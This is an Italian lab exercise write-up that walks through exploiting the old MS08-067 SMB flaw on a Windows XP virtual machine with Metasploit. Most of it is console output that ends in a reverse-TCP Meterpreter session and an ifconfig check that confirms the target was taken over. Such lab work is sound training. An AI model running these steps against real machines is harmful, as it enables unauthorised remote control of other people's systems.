

L'esercizio di oggi consiste nel fare una sessione di hacking su windows xp usando la vulnerabilità MS08-067 come in foto.

```
msf6 > search MS08-067

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  exploit/windows/smb/ms08_067_netapi      2008-10-28      great Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi
```

Dopo aver trovato la vulnerabilità usiamo meterpreter e settiamo l'ip a 192.168.1.30 di windows.

```
msf6 > search meterpreter

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce 2020-02-17      excellent Yes    Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE
1  auxiliary/server/android_browsable_msf_launch              normal No      Android Meterpreter Browsable Launcher
2  payload/android/meterpreter_reverse_http                  normal No      Android Meterpreter Shell, Reverse HTTP Inline
3  payload/android/meterpreter_reverse_https                 normal No      Android Meterpreter Shell, Reverse HTTPS Inline
```

Dopo aver settato l'ip di windows e usato meterpreter usiamo exploit per usufruire della vulnerabilità (come in foto) e per vedere se tutto funziona basta fare ifconfig e se ci restituisce l'ip 192.168.1.30 allora è tutto giusto.

```
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.30:445 - Automatically detecting the target...
[*] 192.168.1.30:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian
[*] 192.168.1.30:445 - Selected Target: Windows XP SP3 Italian (NX)
[*] 192.168.1.30:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.1.30
[*] Meterpreter session 1 opened (192.168.1.25:4444 → 192.168.1.30:1066) at 2024-03-06 05:20:28 -0500

meterpreter > webcam
[-] Unknown command: webcam
meterpreter > show webcam
[-] Unknown command: show
meterpreter > search webcam
[-] You must specify a valid file glob to search for, e.g. >search -f *.doc
meterpreter > ifconfig

Interface 1
Name      : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU       : 1520
IPv4 Address : 127.0.0.1

Interface 2
Name      : Scheda server Intel(R) PRO/1000 Gigabit - Miniport dell'Utilità di pianificazione pacchetti
Hardware MAC : 08:00:27:16:8f:44
MTU       : 1500
IPv4 Address : 192.168.1.30
IPv4 Netmask : 255.255.255.0
```